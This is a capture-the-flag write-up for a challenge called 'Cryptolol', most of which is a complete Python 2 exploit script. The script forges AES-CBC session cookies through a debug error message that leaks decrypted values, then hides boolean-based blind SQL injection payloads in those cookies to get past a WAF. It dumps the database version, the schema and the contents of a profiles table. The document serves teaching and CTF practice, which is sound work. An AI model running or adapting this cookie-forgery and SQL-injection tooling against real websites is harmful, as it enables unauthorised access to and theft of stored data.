Rating:

# Cryptolol

## Description

A simple website display a profile page corresponding to the *USERNAME* cookie.
This cookie contains the username encrypted with a secret key using AES, a dummy padding and the CBC encrypton mode (the vulnerability is not a padding oracle).

When an error is encountered during the decryption of our cookie, the decrypted value is displayed in a "debug mode" error message.
Using this the challenger must discover the padding used and find a way to produce encrypted cookies containing arbitrary values.

Indeed, the *USERNAME* cookie can be used in order to exploit a SQLi protected by a *WAF*.

## Solution

In order to exploit this challenge, you have to :

* Retrieve the padding used (see *padding_discovery()* in *exploit.py*);
* Use the error messages in order to encrypt arbitrary values;
* Exploit the SQLi using encrypted payloads in the *USERNAME* cookie (beware of the WAF).

## exploit.py

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-

import requests
import base64
import re
import binascii
import threading
import time
import sys

from Queue import Queue
from HTMLParser import HTMLParser

TARGET = None

COOKIE_NAME = 'USERNAME'

ERROR_REGEX = 'A problem with the user b(?:'|")(.+)(?:'|") has been encountered !'

BLOCK_SIZE = 16
PADDING_CHAR = ' '

SQLI_PAYLOAD = 'Smelly tooth Cromwell\' AND (%s)#'
MAX_CHAR_LENGTH = 2000

NB_THREADS = 4

RESULTS = dict()
COUNT = 0

queue = Queue()

def explode_b64_ciphertext(b64_ciphertext):
'''
Take a base64 encoded ciphertext and return the blocks to work with.
'''
uncoded_ciphertext = base64.b64decode(b64_ciphertext)

iv = uncoded_ciphertext[:BLOCK_SIZE]
ciphertexts = []

for i in range(len(uncoded_ciphertext)//BLOCK_SIZE)[1:]:
offset = i*BLOCK_SIZE
ciphertexts += [uncoded_ciphertext[offset:offset+BLOCK_SIZE]]

return (iv, ciphertexts)

def send_request(cookie_value):
'''
Send a request and return the response.
'''
global COUNT
COUNT += 1

cookies = {COOKIE_NAME: cookie_value}

r = requests.get(TARGET, cookies=cookies)

return r.text

def test_cookie_value(cookie_value, tag):
'''
Test a cookie value and return True if the tag TAG is in the response or False if not.
If an error message is displayed, we return the username value displayed on screen.
'''
response = send_request(cookie_value)

if tag in response:
return True

m = re.search(ERROR_REGEX, response)
if m != None:
# Applying regex
result = m.group(1)
# Unescape HTML entities : '&' => '&'
result = HTMLParser().unescape(result).encode('ascii')
# Unescape the hex values : '\\xf1' => '\xf1'
result = result.decode('string_escape')
# Adding padding if the last bytes are escape characters
result = add_padding(result)
return result

return False

def get_default_cookie():
'''
Retrieve the default cookie in order to check the padding.
'''
global COUNT
COUNT += 1

r = requests.get(TARGET)

return r.cookies[COOKIE_NAME]

def padding_discovery():
'''
Using a trick in order to obtain the padding used.
Modifying the last byte of the Cn-1 block, is a way to display the padding on the error message from the server.

This function is just here as a write-up, in order to explain how we discovered the padding used.
'''
print '### Using a trick in order to obtain the padding used.'

(iv, ciphertexts) = explode_b64_ciphertext(get_default_cookie())

# Modify the last byte of the Cn-1 block in order to obtain the padding.
Cn_minus_1 = ciphertexts[-2]
arbitrary_byte = b'A'

tmp = Cn_minus_1[:-1] + arbitrary_byte
ciphertexts[-2] = tmp

# Test the Ciphertext with the modified Cn-1 block.
to_test = iv
for Cn in ciphertexts:
to_test += Cn

print 'Cookie used to display the padding : %s' % base64.b64encode(to_test)
result = test_cookie_value(base64.b64encode(to_test), 'DEADBEEF')

# Printing the last plaintext bloc (containing the padding)
print 'Pn : %s' % result[-BLOCK_SIZE:-1]
Pn = ''
for c in result[-BLOCK_SIZE:-1]:
Pn += '%s ' % hex(ord(c))
# Last byte of Pn = Cn-1 ^ P'n ^ arbitrary_byte(C'n-1)
Pn += hex(ord(Cn_minus_1[-1]) ^ ord(result[-1]) ^ ord(arbitrary_byte))

print ' : %s' % Pn
print 'As we can see, the padding is very simple. Indeed, it consists only of spaces (0x20).'
sys.stdout.flush()

'''
Pn : mwell
: 0x6d 0x77 0x65 0x6c 0x6c 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20

As we can see, the padding is very simple. Indeed, it consists only of space (0x20).
'''

def add_padding(string):
'''
Take a string and return a custom padding (see padding_discovery())
WARNING : We do not add a padding block when len(string) % BLOCK_SIZE == 0
'''
padding_size = (BLOCK_SIZE - (len(string)%BLOCK_SIZE)) % BLOCK_SIZE

return "%s%s" % (string,PADDING_CHAR*padding_size)

def get_block_int_values(block):
'''
Take a ciphered block and return its intermediate values.
'''
iv = b'\x00'*BLOCK_SIZE
return test_cookie_value(base64.b64encode(iv+block), 'DEADBEEF')

def encrypt_block(Ci, Pi):
'''
Take a block (Ci) and the desired plaintext (Pi).
Get the intermediate values and return Cn-1.
'''

intermediate_values = get_block_int_values(Ci)

result = ''
for i in range(BLOCK_SIZE):
result += chr(ord(intermediate_values[i]) ^ ord(Pi[i]))

return result

def encrypt_string(string, display):
'''
Take a string, add padding and encrypt it.
'''
# Add padding
padded_string = add_padding(string)
nb_blocks = len(padded_string)/BLOCK_SIZE

# Calculate intermediate values for Pn..P0
Ci = 'A'*BLOCK_SIZE
encrypted_string = "%s" % Ci
for i in range(nb_blocks)[::-1]:
Pi = padded_string[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE]
Ci = encrypt_block(Ci, Pi)
encrypted_string = "%s%s" % (Ci, encrypted_string)

encrypted_string = base64.b64encode(encrypted_string)
if display:
print 'Plaintext string : %s' % string
print 'Encrypted string : %s' % encrypted_string

return encrypted_string

def sqli_dump_string(tag, payload, display):
'''
Main function used to exploit the SQLi.
'''
global RESULTS

result = ''

dump_string_payload = 'SELECT MID(BIN (ORD (MID((%s) FROM %%s FOR 1))) FROM %%%%s FOR 1)=%%%%s' % payload
string_length_payload = '(SELECT CHAR_LENGTH((%s)))=%%s' % payload
byte_length_payload = '(SELECT CHAR_LENGTH(BIN (ORD (MID((%s) FROM %%s FOR 1)))))=%%%%s' % payload

string_length = sqli_get_length(string_length_payload, display)
if display :
print 'String length = %s' % string_length

# For each char of our string
for i in range(string_length+1)[1:]:
result += sqli_dump_byte(dump_string_payload % i, byte_length_payload % i, display)

print '%s = %s' % (tag, result)
sys.stdout.flush()
RESULTS[tag] = result

def sqli_dump_byte(dump_string_payload, byte_length_payload, display):
'''
Function used to retrieve a byte.
'''
# Retrieving the length of the binary value of our byte => CHAR_LENGTH(BIN(...))
byte_length = sqli_get_length(byte_length_payload, display)
if display:
print 'Byte length = %s' % byte_length

# Retrieving the value of each bit of our byte.
result = ''
for i in range(byte_length+1)[1:]:
if test_cookie_value(encrypt_string(SQLI_PAYLOAD % (dump_string_payload % (i, 1)), display), 'Caribbean pirate') == True:
result += '1'
else:
result += '0'

return chr(int('0b%s' % result, 2))

def sqli_get_length(payload, display):
'''
Naive way to get the char length of a string or a byte (depending of the payload).
Simple but could be hugely improved (too much requests).
'''
for i in range(MAX_CHAR_LENGTH):
if test_cookie_value(encrypt_string(SQLI_PAYLOAD % (payload % i), display), 'Caribbean pirate') == True:
return i

return None

#######################
### Multi-threading ###
#######################

class AttackThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
pass

def run(self):
while not queue.empty():
tag,payload,display = queue.get()
sqli_dump_string(tag, payload, display)

queue.task_done()

def main():
global TARGET

if len(sys.argv) != 3 and len(sys.argv) != 4:
print "Usage : %s <target_ip> <port>" % sys.argv[0]
exit(1)

TARGET = "http://%s:%s/" % (sys.argv[1], sys.argv[2])

start_time = time.time()

padding_discovery()

print '#'*42

# Discovering the SQLi (boolean based)
if test_cookie_value(encrypt_string(SQLI_PAYLOAD % '1=1', True), 'Caribbean pirate') == True:
print True
else:
print False
print '#'*9
if test_cookie_value(encrypt_string(SQLI_PAYLOAD % '1=2', True), 'Caribbean pirate') == True:
print True
else:
print False

print '#'*42
sys.stdout.flush()

# @@version, user(), database()
queue.put(('@@version', '@@version', False))
queue.put(('user()', 'user()', False))
queue.put(('database()', 'database()', False))

# Tables
queue.put(('tables', 'SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=\'website\'', False))

# Columns (of the table 'profile')
queue.put(('columns', 'SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name=\'profiles\' AND table_schema=\'website\'', False))

# Dump of the table 'profile'
for column in ['username','class','avatar','flag']:
queue.put(('profile_%s' % column, 'SELECT group_concat(%s) FROM profiles' % column, False))

# MT (multithreading)
for thr in xrange(0, NB_THREADS):
print "Initializing thread %d" % thr
sys.stdout.flush()
ragnarok = AttackThread()
ragnarok.start()

queue.join()

print '#'*42

print 'FLAG = %s' % RESULTS['profile_flag']
sys.stdout.flush()

print '#'*42

print 'Time elapsed : %f' % (time.time()-start_time)
print 'Number of requests made : %s' % COUNT
sys.stdout.flush()

if __name__=='__main__':
main()

```